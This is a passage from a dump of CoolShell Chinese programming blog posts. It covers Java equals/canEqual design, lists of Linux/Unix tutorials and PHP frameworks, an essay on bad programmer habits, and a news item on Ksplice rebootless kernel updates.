 public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result =(that.canEqual(this) && this.getX() == that.getX() && this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n\n public boolean canEqual(Object other) {\n return (other instanceof Point);\n }\n\n}\n```\n\n这个版本的Point类的equals方法中包含了一个额外的需求，通过canEquals方法来决定另外一个对象是否是是满足可以比较的对象。在Point中的canEqual宣称了所有的Point类实例都能被比较。\n\n\n下面是ColoredPoint相应的实现\n\n\n\n```\npublic class ColoredPoint extends Point { // 不再违背对称性\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (that.canEqual(this) && this.color.equals(that.color) && super.equals(that));\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * super.hashCode() + color.hashCode());\n    }\n\n @Override public boolean canEqual(Object other) {\n return (other instanceof ColoredPoint);\n }\n}\n```\n\n在上显示的新版本的Point类和ColoredPoint类定义保证了等价的规范。等价是对称和可传递的。比较一个Point和ColoredPoint类总是返回false。因为点p和着色点cp,“p.equals(cp)返回的是假。并且，因为cp.canEqual(p)总返回false。相反的比较，cp.equals(p)同样也返回false，由于p不是一个ColoredPoint，所以在ColoredPoint的equals方法体内的第一个instanceof检查就失败了。\n\n\n另外一个方面，不同的Point子类的实例却是可以比较的，同样没有重定义等价性方法的类也是可以比较的。对于这个新类的定义，p和pAnon的比较将总返回true。下面是一些例子：\n\n\n\n```\nPoint p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.INDIGO);\n\nPoint pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};\n\nSet<Point> coll = new java.util.HashSet<Point>();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true\n\nSystem.out.println(coll.contains(cp)); // 打印 false\n\nSystem.out.println(coll.contains(pAnon)); // 打印 true\n```\n\n这些例子显示了如果父类在equals的实现定义并调用了canEquals，那么开发人员实现的子类就能决定这个子类是否可以和它父类的实例进行比较。例如ColoredPoint，因为它以”一个着色点永远不可以等于普通不带颜色的点重载了” canEqual，所以他们就不能比较。但是因为pAnon引用的匿名子类没有重载canEqual,因此它的实例就可以和Point的实例进行对比。\n\n\ncanEqual方法的一个潜在的争论是它是否违背了Liskov替换准则(LSP)。例如，通过比较运行态的类来实现的比较技术(**译者注：** canEqual的前一版本，使用.getClass()的那个版本)，将导致不能定义出一个子类，这个子类的实例可以和其父类进行比较，因此就违背了LSP。这是因为，LSP原则是这样的，在任何你能使用父类的地方你都可以使用子类去替换它。在之前例子中，虽然cp的x,y坐标匹配那些在集合中的点，然而”coll.contains(cp)”仍然返回false，这看起来似乎违背得了LSP准则，因为你不能这里能使用Point的地方使用一个ColoredPointed。但是我们认为这种解释是错误的，因为LSP原则并没有要求子类和父类的行为一致，而仅要求其行为能一种方式满足父类的规范。\n\n\n通过比较运行态的类来编写equals方法(**译者注：** canEqual的前一版本，使用.getClass()的那个版本)的问题并不是违背LSP准则的问题，但是它也没有为你指明一种创建派生类的实例能和父类实例进行对比的的方法。例如，我们使用这种运行态比较的技术在之前的”coll.contains(pAnon)”将会返回false，并且这并不是我们希望的。相反我们希望“coll.contains(cp)”返回false，因为通过在ColoredPoint中重载的equals，我基本上可以说，一个在坐标1，2上着色点和一个坐标1，2上的普通点并不是一回事。然而，在最后的例子中，我们能传递Point两种不同的子类实例到集合中contains方法，并且我们能得到两个不同的答案，并且这两个答案都正确。\n\n\n**–全文完–**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [如何在Java中避免equals方法的隐藏陷阱](https://coolshell.cn/articles/1051.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-21 Linux_Unix 新手和专家教程.md",
    "content": "---\nlayout: post\ntitle: Linux/Unix 新手和专家教程\ndate: 2009/6/21/ 2:37:53\nupdated: 2009/6/21/ 2:37:53\nstatus: publish\npublished: true\ntype: post\n---\n\n*http://educhoices.org/cimages/multimages/1/linux_tutorials.jpg*你正在找一些高质量的Linux 和 UNIX 的教程吗？如果是，这篇文章会告诉你到哪去找到这些教程。这里我们将给出超过30个相当的不错的 Linux 和 UNIX 在线的教程。\n\n\n需要大家注意的是，他们都是英文的，也许有一些也经被翻译到了中文社区，你可以搜索一下。但不管怎么样，我的建议是应该尽可能的去阅读英文。\n\n\n \n\n\nLinux 和UNIX 的新手培训教程\n-------------------\n\n\n \n\n\n### 免费的新手Linux教程\n\n\n \n\n\n* [Introduction to Linux](http://www.ibm.com/developerworks/linux/newto/) – 这是来自IBM的教程，用于给那些想学习Linux的人。\n* [Linux Desktop 101](http://linux.about.com/c/ec/1.htm) – 这是一个 14周 课时的教程，主要用于学校里教学生如何在一个PC上运行一个Linux操作系统。\n* [Hands-On Introduction to Linux](http://tldp.org/LDP/intro-linux/html/index.html) – Machtelt Garrels 的一个格式相当不错的教程。\n* [Real Time Linux Introduction](http://www.isd.mel.nist.gov/projects/rtlinux/rtutorial-2.0/doc/tutorial.htm) – 一系列的介绍Linux的教程，来自National Institute of Standards and Technology.\n* [Getting Started with Linux](http://www.linux.org/lessons/beginner/index.html) – 来自Linux Online 的20课时的用于新手的教程。\n* [Linux Fundamentals Course](http://learnlinux.tsf.org.za/courses/web-fundamentals.html) – 一个相当不错的基础教程，大约使用18个小时，让你知道Linux操作系统的最基础的知识。\n* [The 35-Command Tutorial](http://www.beginlinux.org/course/view.php?id=15) – 来自BeginLinux.org 的一个最简单的教程，教你使用 35 个Linux用户必需了解的命令。\n* [Getting Started with Linux Desktop](http://ocw.novell.com/novell-linux-desktop/getting-started-with-novell-linux-desktop) – Novell的自学教程。\n\n\n \n\n\n### 免费的UNIX 新手教程\n\n\n \n\n\n* [UNIX Tutorial for Beginners](http://www.ee.surrey.ac.uk/Teaching/Unix/) – 来自The University of Surrey的新手指南，告诉你Unix系统最基本的特性。\n* [A Basic UNIX Tutorial](http://snap.nlc.dcccd.edu/learn/idaho/unixindex.html) – 这是来自 Idaho State University 教程，主要用于Unix计算的基础，其中有一些很不错的示例和练习。\n* [UNIX Training Manual](http://www.devdaily.com/unix/unix-dnld.shtml) – 这是一个 88页 的培训手册，主要用一些示例来教一个Unix文件系统的相关的命令。严格说来，这并不是一个教程，但也很有用。\n* [UNIX Command Tutorial](http://www.mcsr.olemiss.edu/unixhelp/commanz/index.html) – 来自University of Mississippi 的教学生如果使用Unix命令和操作系统交互的课程。\n* [Learn UNIX Tutorial](http://www.softlookup.com/tutorial/Unix/index.asp) – Soft Lookup 的一个全面的 UNIX 教程，完全可以让你从一个新手变成一个高手。\n* [UNIX – The Bare Minimum](http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/UnixBareMn.pdf) – 来自 UC Davis 教授，提供了一个简单的UNIX介绍。\n* [Learning About UNIX](http://www.upscale.utoronto.ca/GeneralInterest/Harrison/LearnLinux/) – 来自University of Toronto，提供了一些UNIX 和Linux 课程笔记。这个课程关注于UNIX 和Linux 工具。\n* [What is UNIX?](http://www.unix-manuals.com/tutorials/unix/unix.html) – 这个教程提供了一个简单的Unix介绍，以及一个初学者的论坛。\n\n\n \n\n\nLinux 和 UNIX 专家培训教程\n-------------------\n\n\n \n\n\n### 免费的Linux高手教程\n\n\n \n\n\n* [Linux Online’s Course for Advanced Users](http://www.linux.org/lessons/advanced/index.html) – 这是一个来自Linux Online的高级教程，提供了一系Linux最流行的How-To文档。主要是给那些想了解更多关于Linux安装，配置和维护的人。\n* [Linux System Administration Course](http://www.linuxtraining.co.uk/download/new_linux_course_modules.pdf) – 通过28个课程为Linux系统管理员提供了一个全面的教程。\n* [Kernel Tutorials](http://www.howtoforge.com/howtos/linux/kernel) – 这是在HowToForge上的一个内核级的教程，这个教程相当不错，如果你要了解Linux的内核，你不能错过这个教程。\n* [Advanced Routing and Traffic Control Tutorial](http://lartc.org/lartc.html) – 一个关于Linux网络路由，过滤和传输的教程。\n* [Linux Enterprise Server Courses](http://ocw.novell.com/suse-linux-enterprise) – Novell Training Services 提供给高级用户的培训教程。\n* [Linux Network Administration Course](http://learnlinux.tsf.org.za/courses/web-net-admin.html) – 来自Shuttleworth Foundation的 Linux 网络管理员的基础课程。\n* [Advanced Linux Programming](http://www.advancedlinuxprogramming.com/) – 这是一本电子书可以免费下载。这本书主要教程序员们怎么在Linux下做软件和编程序。\n* [IBM’s Technical Library](http://www.ibm.com/developerworks/views/linux/libraryview.jsp?type_by=Tutorials) – IBM’s Technical Library 提供的一组给高级Linux用户的教程。\n\n\n \n\n\n### 免费的UNIX高手教程\n\n\n \n\n\n* [UNIX for Advanced Users](http://www.ussg.iu.edu/UAU/uau.html) – Indiana University的 UNIX Workstation Support Group 提供的一个相当不错的面对UNIX 高级用户的教程。\n* [Kevin Heard’s UNIX Tutorial](http://people.ischool.berkeley.edu/~kevin/unix-tutorial/) – Kevin Heard (UC Berkeley) 的一个相当相当不错的三部教程，从Unix的基础开始，以高级话题结束。\n* [Advanced UNIX Commands](http://members.unine.ch/philippe.renard/unix2.html) – 虽然这是一个命令例表，但他是一个相当不错的索引的速查手册。\n* [Parallel Programming Tutorial](http://users.actcom.co.il/~choo/lupg/tutorials/parallel-programming-theory/parallel-programming-theory.html) – 这个UNIX 教程面对的是Unix下的并行编程 Parallel Programming。\n* [Advanced Bash Scripting Guide](http://tldp.org/LDP/abs/html/) – 来自于Linux Document Project 的教程，一个shell编程由浅入深的教程。\n* [UNIX Shell Scripting Advanced](http://www.vtc.com/products/Unix-Shell-Scripting-Advanced-tutorials.htm) – VTC 有一组视频的 UNIX 的教程。而这一个是指导高级用户如何进行脚本编程。\n* [Advanced C Shell Programming](http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/CShellII.pdf) – 这是UC Davis 的教程，主要教使用如何使用C shell 和tcsh 进行脚本编程。\n\n\n文章：[来源](http://educhoices.org/articles/Useful_Tutorials_on_Linux_and_UNIX_for_Beginners_and_Experts_Alike.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [Linux/Unix 新手和专家教程](https://coolshell.cn/articles/1042.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-24 十个让你变成糟糕的程序员的行为.md",
    "content": "---\nlayout: post\ntitle: 十个让你变成糟糕的程序员的行为\ndate: 2009/6/24/ 15:2:36\nupdated: 2009/6/24/ 15:2:36\nstatus: publish\npublished: true\ntype: post\n---\n\n之前本站发表过《[优秀程序员的十个习惯](https://coolshell.cn/articles/222.html)》以及《[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)》，那是我们需要去学习和培养的。这里，我们主要讨论十个糟糕程序员的特征，主要是需要让我们去避免和小心的。\n\n\n**1) 情绪化的思维**\n\n\n如果你开始使用不同颜色的眼光来看待这个世界的话，那么你可能会成为一个很糟糕的程序员。情绪化的思维或态度很有可能会把自己变成一个怪物。相信你经常可以看到很多很糟糕的程序会使用下面的这些语句：\n\n\n* 我的程序不可能有这种问题。\n* Java就是shit。\n* 我最恨的就是使用UML做设计。\n* 需求怎么老在变，没办干了。\n* 受不了这些人，他们到底懂不懂啊。\n* …… ……\n\n\n这些带着情绪化的思维和态度，不但可以让你成为一个很糟糕的程序员，甚至可以影响你的前途。因为，情绪化通常都是魔鬼，会让你做出错误的判断和决定，错误码率的判断和决定直接决定了你的人生。\n\n\n\n**2) 怀疑别人**\n\n\n糟糕的程序总是说：“我的代码一定是正确的，我怀疑编译器有问题”，“我这应该没有问题吧，STL库怎么这么难用啊”。我曾经见过有程序员这样使用STL类：map<char\\*, char\\*>，当他发现这样放入字符串后却取不出来，觉得那是STL库的BUG，然后自己写了一个map！我的天啊！\n\n\n某些时候，过早的下结论是一个很不好的习惯，任何事情都有其原因，只有知道了原因，你才能知道是谁的问题。一般来说，总是自己出的问题。\n\n\n**3) 过多关注实现，陷入问题细节**\n\n\n有些时候，当我们面对一个问题或是一个需求的时候，糟糕的程序员总是会马上去找一个解决方案或是实现，这是一个很不好的习惯。设计模式告诉我们，“喜欢接口，而不是实现”就是告诉我们，认清问题的本质和特性要比如何实现更重要。\n\n\n* 对于一个客户的问题来说，首先应该想到的是如何先让用户正常工作，如何恢复正在“流血”的系统，而不是把用户放在一边而去分析问题的原因和解决方案。\n* 对于解决一个bug来说，重现bug，了解原来程序的意图是首先重要的事，而不是马上去修改代码，否则必然会引入更多的BUG。\n* 对于一个需求来说，我们需要了解的需求后面的商业背景，use case和真实意图，而不是去讨论如何实现。只有了解了用户的真实意图，实际使用的方式和案例，你才能真正如果去做设计。\n\n\n糟糕的程序总是容易陷入细节，争论于如何实现和实现难题，以及问题的根本原因，而忽略了比这些更重要的东西。只有看懂了整个地图，我们才知道要怎么去走。\n\n\n**4) 使用并不熟悉的代码**\n\n\n糟糕的程序员最好的朋友是 Ctrl-C 和 Ctrl-V ，有些时候，他们并不知道代码的确切含义，就开始使用它，有证据表明，由拷贝粘贴引发的bug占了绝大多数。因为，代码总是只能在特定的环境下才能正常地工作，如果代码的上下文改变了，很有可能使得代码产生很多你不知道的行为，当你连代码都控制不住了，你还能编出什么好的程序呢？\n\n\n**5) 拼命工作而不是聪明的工作**\n\n\n对于糟糕的程序员，我们总是能看到他们拼命地修正他们的bug，总是花非常多时间并重复地完成某一工作。而好的程序可能会花双倍的时间来准备一个有效的开发环境，工具，以及在开发的时候花双倍甚至10倍的时间来避免一些错误。好的程序员总是会利用一切工具或手段来让自己的工作变得更有效率，总是为在开发的时候尽可能得不出错。后期出错的成本将会是巨大的，而且那时改正错误的压力也是巨大的。所以，糟糕的程序通常会让自己进入一种恶性循环，他们看上去总是疲惫的，总是很辛苦的，所以更没有时间来改善，越没有时间来改善，就有越多的问题。所以，拼命工作有些时候可能表明你不是一个好的程序员。\n\n\n**6) 总是在等待、找借口以及抱怨**\n\n\n当需求不明确的时候，当环境不是很满意的时候，他们总是在等待别人的改善。出现问题的时候，总是在找借口，或是抱怨这也不好，那也不好，所以自己当然就没有做好。糟糕的程序员总是希望自己的所处的环境是最好的，有明确的需求，有非常不错的开发环境，有足够的时间，有不错的QA，还有很强的team leader，以及体贴自己的经理，有足够的培训，有良好的讨论，有别人强有力的支持……，这是一种“饭来张口，衣来伸手”的态度，这个世界本来就不完美，一个团队需要所有人去奋斗，况且，如果什么都变得完美了，那么，你的价值何在吗？driving instead of waiting, leading instead of following.\n\n\n**7) 滋生办公室政治**\n\n\n有句话叫“丑女多作怪”，意思是说如果一个自己没有真实的能力的话，那么他一定会在其它方面作文章。糟糕的程序员也是这样，如果他们程序编不好的话，比不过别人的话，他们通常会去靠指责别人，推脱责任，或是排挤有能力的人，等等不正常的手段来保全自己。所以，糟糕的程序通常伴随着办公室政治。\n\n\n**8 ) 说得多做得少**\n\n\n糟糕的程序员总是觉得自己什么都懂，他们并不会觉得自己的认识和知识都是有限的。这就是所谓的夸夸其谈，是的，什么都做不好的程序员能靠什么混日子呢？就是吹啊吹啊。\n\n\n另一个表现方式是他们在评论起别人的程序或是设计，总是能挑出一堆毛病，但自己的程序写得也很烂。总是批评抱怨，而没有任何有建设性的意见，或是提出可行的解决方案。\n\n\n这些糟糕的程序员，总是喜欢以批评别人的程序而达到显示自己的优秀。\n\n\n**9) 顽固**\n\n\n当你给出一打证据说明那里有一个更好的方案，那里有一个更好的方向的时候，他们总是会倔强的认为他们自己的做法才是最好的。一个我亲身经历的事例就是，当我看到一个新来的程序员在解决一个问题的时候走到了错误的方向上时，我提醒他，你可能走错了，应该是另外那边，并且我证明了给他看还有一个更为简单的方法，有。然而，这位程序员却告诉我，“那是我的方法，我一定要把之走下去，不然我会非常难受”，于是，在三天后的代码评审中，在经过顽固地解释以及一片质疑声中，他不得不采用了我最先告诉他的那个方法。\n\n\n这些程序员，从来不会去想，也不会去找人讨论还有没有更好的方法，而是坚持自己的想法，那怕是条死路都一往直前，不撞南墙永不回头。\n\n\n**10) 写“聪明”的代码**\n\n\n他们写出来的代码需要别的同事查看程序语言参考手册，或是其程序的逻辑或是风格看上去相当时髦，但却非常难读。代码本应该简洁和易读，而他们喜欢在代码中表现自己，并尝试另类的东西，以显示自己的才气。是的，只有能力有问题的程序员才需要借助这样的显示。\n\n\n记得以前的一个经历，一位英语很不错的程序员加入公司，本来对我们这些英语二把刀来说，我们喜欢看到的是简单和易读的英文文档，然后，那位老兄为了展示他的英语如何牛，使用了很多GRE中比较生僻的短语和词汇。让大家阅读得很艰苦。最有讽刺意味的是，有一位native的美国人后来在其邮件中询问他某个单词的意思。呵呵。\n\n\n你是一个糟糕的程序员吗？欢迎你分享你的经历。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [十个让你变成糟糕的程序员的行为](https://coolshell.cn/articles/1081.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-25 22个开源的PHP框架.md",
    "content": "---\nlayout: post\ntitle: 22个开源的PHP框架\ndate: 2009/6/25/ 3:57:39\nupdated: 2009/6/25/ 3:57:39\nstatus: publish\npublished: true\ntype: post\n---\n\nPHP 是一个被广泛使用的来进行Web开发的脚本语言。虽然有很多其它可供选择的Web开发语言，像：ASP 和Ruby，但是PHP是目前为止世界上最为流行的。\n\n\n那么，是什么让PHP如此流行？PHP 如此之流行是因为比起别的语言来，它更容易学习，网上有一大堆相当相当不错的PHP教程可以让你快速地马上就可以进行Web程序的开发。虽然PHP是是简单的，而且是容易上手的，但用它编程还是有点麻烦，尤其是一些反复在用的功能。不过，幸运的是，很多开发团队早就注意到了这点，现在在网上，PHP有许多的可以信任的PHP Framework 可以缩短我们的开发时间。这些框架被一个巨大的社区所支持，因些，如果你有什么问题的话，一定会有人乐意帮你去解决。\n\n\n废话少说，让我们来看看这22个PHP的框架。\n\n\n\n迄今最有前途的框架\n---------\n\n\n### 1. [Zend Framework](http://framework.zend.com/ \"Zend Framework\")\n\n\n![zend-framework](../wp-content/uploads/2009/06/zend-framework.png \"zend-framework\")  \n\nZend Framework 是一个面向对象的，由PHP5写成的框架。其基于一个简洁和友好的许可证协议，并基于了一个经过了相当严酷测试的代码库开发而来。这是一个松散的几乎没有耦合架构设计，你可以方便地把其和其它框架混合使用。\n\n\n### 2. [Symfony](http://www.symfony-project.org/ \"Symfony\")\n\n\n![symfony](../wp-content/uploads/2009/06/symfony.png \"symfony\")  \n\nSymfony 是一个基于PHP 5 的框架，其提供了一个架构，组件和工具集，可以让你更快地创造你的应用。在其官网上提供了一些入门教程。\n\n\n \n\n\n### 3. [CodeIgniter](http://codeigniter.com/ \"CodeIgniter\")\n\n\n![codeigniter](../wp-content/uploads/2009/06/codeigniter.png \"codeigniter\")  \n\nCodeIgniter 这个框架有一个wiki可以让你容易的查找相关的文档。其支持的是PHP4。\n\n\n### 4. [CakePHP](http://cakephp.org/ \"CakePHP\")\n\n\n![cakephp](../wp-content/uploads/2009/06/cakephp.png \"cakephp\")  \n\n这个框架使用了一些流行的设计模式比如： MVC  和ORM  ， CakePHP 可以有效地减少开发成本和帮助开发人员少写代码。\n\n\n### 5. [Prado](http://www.xisc.com/ \"Prado PHP Framework\")\n\n\n![prado](../wp-content/uploads/2009/06/prado.png \"prado\")\n\n\nPrado 需要PHP5 及以上版本才能运行，这是基于组件和事件驱动编程的一个程序框架。\n\n\n### 6. [Kohana](http://www.kohanaphp.com/ \"Kohana\")\n\n\n![kohana](../wp-content/uploads/2009/06/kohana.png \"kohana\")  \n\nKohana 是一个基于 PHP 5 的框架，其也是使用MVC—— Model View Controller 架构模式。其面对的是安全，轻量级，和易用性。由于Kohana 原来基于 CodeIgniter开发，因为其限制了PHP5 的OOP能力，所以这个框架更合适用在一些中小型的应用。\n\n\n### 7. [Solar Framework](http://solarphp.com/ \"Solar Framework\")\n\n\n![solar](../wp-content/uploads/2009/06/solar.png \"solar\")  \n\nSolar 是一个 PHP 5 的框架，其可以用做企业级的应用，而且有内建的语言集和配置。\n\n\n### 8. [Fuse](http://www.phpfuse.net/ \"Fuse\")\n\n\n![fuse](../wp-content/uploads/2009/06/fuse.png \"fuse\")  \n\nFUSE 也是一个MVC的PHP框架。其注是要受到了Ruby on Rails 和CakePHP的影响，其有定制和直接的设计。FUSE 是一个功能完整，相当稳定的使用面向对像开发的MVC框架。\n\n\n### 9. [Yii PHP Framework](http://www.yiiframework.com/ \"Yii PHP Framework\")\n\n\n![yii](../wp-content/uploads/2009/06/yii.png \"yii\")  \n\nYii 是一个高性能的组件式的PHP框架，对于那些大型的Web应用来说，这是最好的框架，全面的功能。但需要PHP5及以上版的支持。\n\n\n### 10. [Akelos PHP Framework](http://www.akelos.org/ \"Akelos PHP Framework\")\n\n\n![akelos](../wp-content/uploads/2009/06/akelos.png \"akelos\")  \n\nAkelos PHP 框架也是基于 MVC (Model View Controller) 设计模式的框架。\n\n\n其它可选的 PHP 框架\n------------\n\n\n11. [Recess](http://www.recessframework.org/ \"Recess\")  \n\n12. [Agavi](http://www.agavi.org/ \"Agavi\")  \n\n13. [Qcodo](http://www.qcodo.com/ \"Qcodo\")  \n\n14. [Zoop](http://zoopframework.com/ \"Zoop\")  \n\n15. [QPHP](http://qphp.net/ \"QPHP\")  \n\n16. [Seagull PHP](http://seagullproject.org/ \"Seagull\")  \n\n17. [PHPDevShell](http://www.phpdevshell.org/ \"PHPDevShell\")18. [PHPOpenBiz](http://www.phpopenbiz.org/ \"PHPOpenBiz\")  \n\n19. [WASP](http://wasp.sourceforge.net/content/ \"WASP\")  \n\n20. [evoCore](http://evocore.net/ \"evoCore\")  \n\n21. [Lion](http://www.lionframework.org/ \"Lion\")  \n\n22. [Flow3](http://flow3.typo3.org/ \"Flow3\")\n\n\n文章：[来源](http://www.webdesignbooth.com/22-open-source-php-frameworks-to-shorten-your-development-time/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\nThe post [22个开源的PHP框架](https://coolshell.cn/articles/1086.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-30 Ksplice Uptrack — Ubuntu更新不用重启.md",
    "content": "---\nlayout: post\ntitle: Ksplice Uptrack — Ubuntu更新不用重启\ndate: 2009/6/30/ 2:53:44\nupdated: 2009/6/30/ 2:53:44\nstatus: publish\npublished: true\ntype: post\n---\n\nKsplice是马萨诸塞州坎布里奇的一家新兴厂商，它开发的软件可以帮助计算机用户保持其操作系统的安全性而且不需要经常麻烦的重新启动就可升级操作系统，Ksplice被评为麻省理工10万美元创业竞赛的6个入围项目之一。\n\n\nKsplice是Web/IT类冠军，它将与其他5个类别的入围者争夺总奖金。该公司是去年由四个麻省理工学院校友成立的，\n\n\nKsplice目前支持Linux内核的更新，但它声称其免重启更新技术工作在目标代码层，可以适用于任何操作系统或者用户空间应用。该公司说，其技术对安全更新来说特别有益，可以解决因不方便重启而使安全更新不能及时生效的问题。\n\n\n昨日他们在剑桥发布了Ksplice解决方案，运用这种技术将实现无缝更新，从企业软件、系统补丁乃至Linux内核的更新都不需要重启就可以直接完成，改变了数十年来计算机运行最新代码需要重启的麻烦问题。\n\n\n相关链接：\n\n\n* Ksplice Uptrack 主页在这里：<http://www.ksplice.com/uptrack/>\n* 安装指南在这里：<http://www.ksplice.com/uptrack/download>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![GNU/Linux下有多少是GNU的？](../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png)](https://coolshell.cn/articles/4826.html)[GNU/Linux下有多少是GNU的？](https://coolshell.cn/articles/4826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/501.html)[Ubuntu的并行启动](https://coolshell.cn/articles/501.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 